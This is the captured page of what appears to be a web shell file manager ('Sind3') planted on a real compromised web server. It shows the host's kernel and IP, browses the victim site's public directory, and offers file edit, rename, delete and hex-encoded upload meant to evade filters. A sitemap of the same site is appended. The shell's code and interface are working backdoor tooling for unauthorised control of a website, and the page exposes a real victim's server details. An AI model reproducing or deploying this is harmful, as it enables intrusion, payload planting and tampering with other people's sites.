﻿<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Sind3</title>
    <!-- Load Ubuntu Mono from Google Fonts -->
    <link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
    <style>
        * { box-sizing: border-box; }
        body {
            background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
            color: #fff;
            font-family: 'Ubuntu Mono', monospace;
            margin: 0;
            padding: 0;
        }
        .container {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .futer {
            width: 60%;
            margin: 50px auto;
            padding: 20px;
            background-color: #222;
            border-radius: 8px;
        }
        .breadcrumbs { margin-bottom: 15px; }
        a { color: #0f0; text-decoration: none; }
        a:hover { text-decoration: underline; }
        table { width: 100%; border-collapse: collapse; margin-top: 20px; }
        th, td { border: 1px solid #555; padding: 8px; text-align: left; }
        th { background-color: #333; }
        input[type="text"], textarea {
            width: 100%;
            padding: 8px;
            margin: 0;
            border: 1px solid #333;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
        }
        input[type="submit"], button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
        }
        form { margin-bottom: 20px; }
        .terminal-box {
            background-color: #222;
            color: #0f0;
            padding: 15px;
            border: 1px solid #333;
            border-radius: 4px;
            margin-bottom: 20px;
        }
        .terminal-box input[type="text"],
        .terminal-box textarea {
            background-color: #222;
            color: #0f0;
            border: 1px solid #333;
        }
        .notification {
            position: fixed;
            bottom: 20px;
            left: 20px;
            padding: 10px 20px;
            border-radius: 4px;
            font-family: 'Ubuntu Mono', monospace;
            font-size: 14px;
        }
        .success { background-color: #0a0; color: #fff; }
        .failed { background-color: #a00; color: #fff; }
        /* Custom file input button styling */
        #fileInput {
            display: none;
        }
        .custom-file-button {
            border: 1px solid #fff;
            padding: 4px;
            background-color: #333;
            color: #fff;
            cursor: pointer;
            border-radius: 4px;
            display: inline-block;
        }
    </style>
</head>
<body>
<div class="container">
    &thinsp;&thinsp;&thinsp;<b>SERV  :</b> Linux laughing-curran.87-106-44-179.plesk.page 6.8.0-139-generic #139-Ubuntu SMP PREEMPT_DYNAMIC Sat Aug  1 03:52:05 UTC 2026 x86_64<br>
    &thinsp;&thinsp;&thinsp;<b>SOFT  :</b> Apache<br>
    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> 87.106.44.179<br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <a class="ajx" href="?d=2f">/</a><a class="ajx" href="?d=2f766172">var</a>/<a class="ajx" href="?d=2f7661722f777777">www</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f737473">vhosts</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b">rfsdev.co.uk</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b">myphoto.rfsdev.co.uk</a>/<a class="ajx" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963">public</a>/</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
                <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <tr><td><a class="ajaxDir" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c69632f6275696c64">build</a></td><td>-</td><td></td></tr><tr><td><a class="ajaxDir" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c69632f696d61676573">images</a></td><td>-</td><td></td></tr><tr><td><a class="ajaxDir" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c69632f736974652d70726576696577">site-preview</a></td><td>-</td><td></td></tr><tr><td><a class="ajaxDir" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c69632f73746f72616765">storage</a></td><td>-</td><td></td></tr><tr><td><a class="ajaxDir" href="?d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c69632f776b">wk</a></td><td>-</td><td></td></tr><tr><td>.htaccess</td><td>740 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=.htaccess">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=.htaccess">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=.htaccess">Delete</a></td></tr><tr><td>apple-touch-icon.png</td><td>9295 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=apple-touch-icon.png">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=apple-touch-icon.png">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=apple-touch-icon.png">Delete</a></td></tr><tr><td>favicon.ico</td><td>4286 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=favicon.ico">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=favicon.ico">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=favicon.ico">Delete</a></td></tr><tr><td>favicon.svg</td><td>913 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=favicon.svg">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=favicon.svg">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=favicon.svg">Delete</a></td></tr><tr><td>index.php</td><td>468 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=index.php">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=index.php">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=index.php">Delete</a></td></tr><tr><td>manifest.json</td><td>1493 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=manifest.json">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=manifest.json">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=manifest.json">Delete</a></td></tr><tr><td>offline.html</td><td>2565 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=offline.html">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=offline.html">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=offline.html">Delete</a></td></tr><tr><td>robots.txt</td><td>75 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=robots.txt">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=robots.txt">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=robots.txt">Delete</a></td></tr><tr><td>sw.js</td><td>3841 bytes</td><td><a class="ajaxEdit" href="?action=edit&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=sw.js">Edit</a> | <a class="ajaxRename" href="?action=rename&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=sw.js">Rename</a> | <a class="ajaxDelete" href="?action=delete&d=2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963&file=sw.js">Delete</a></td></tr>            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "2f7661722f7777772f76686f7374732f7266736465762e636f2e756b2f6d7970686f746f2e7266736465762e636f2e756b2f7075626c6963";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
<?xml version="1.0" encoding="UTF-8"?>
<urlset xmlns="http://www.sitemaps.org/schemas/sitemap/0.9">
    <url>
        <loc>https://myphoto.rfsdev.co.uk</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/funkcje</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/cennik</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/dla-fotografow</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/jak-to-dziala</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/kontakt</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/rejestracja</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/regulamin</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/polityka-prywatnosci</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/fotografowie</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/generator</loc>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/historia-sukcesu-studio-mk-photo-i-fotosesjaai</loc>
        <lastmod>2026-10-14T18:09:02+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/bezpieczenstwo-zdjec-w-chmurze-co-musisz-wiedziec</loc>
        <lastmod>2026-10-14T18:09:44+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/fotografia-slubna-i-ai-idealny-duet</loc>
        <lastmod>2026-10-14T18:13:25+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/nowe-funkcje-platformy-podsumowanie-aktualizacji</loc>
        <lastmod>2026-10-14T18:08:35+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/jak-zwiekszyc-przychody-studia-fotograficznego-o-40</loc>
        <lastmod>2026-10-15T20:43:52+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/fotografia-noworodkowa-w-erze-ai</loc>
        <lastmod>2026-10-14T18:08:27+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/przewodnik-po-stylach-ai-od-klasyki-po-awangarde</loc>
        <lastmod>2026-10-14T18:09:02+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/dlaczego-warto-wybrac-fotosesjaai-dla-swojego-studia</loc>
        <lastmod>2026-10-14T18:09:29+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/5-wskazowek-jak-przygotowac-sie-do-sesji-zdjeciowej</loc>
        <lastmod>2026-10-14T18:09:55+02:00</lastmod>
    </url>
    <url>
        <loc>https://myphoto.rfsdev.co.uk/blog/jak-ai-rewolucjonizuje-fotografie-portretowa</loc>
        <lastmod>2026-10-14T19:07:25+02:00</lastmod>
    </url>
</urlset>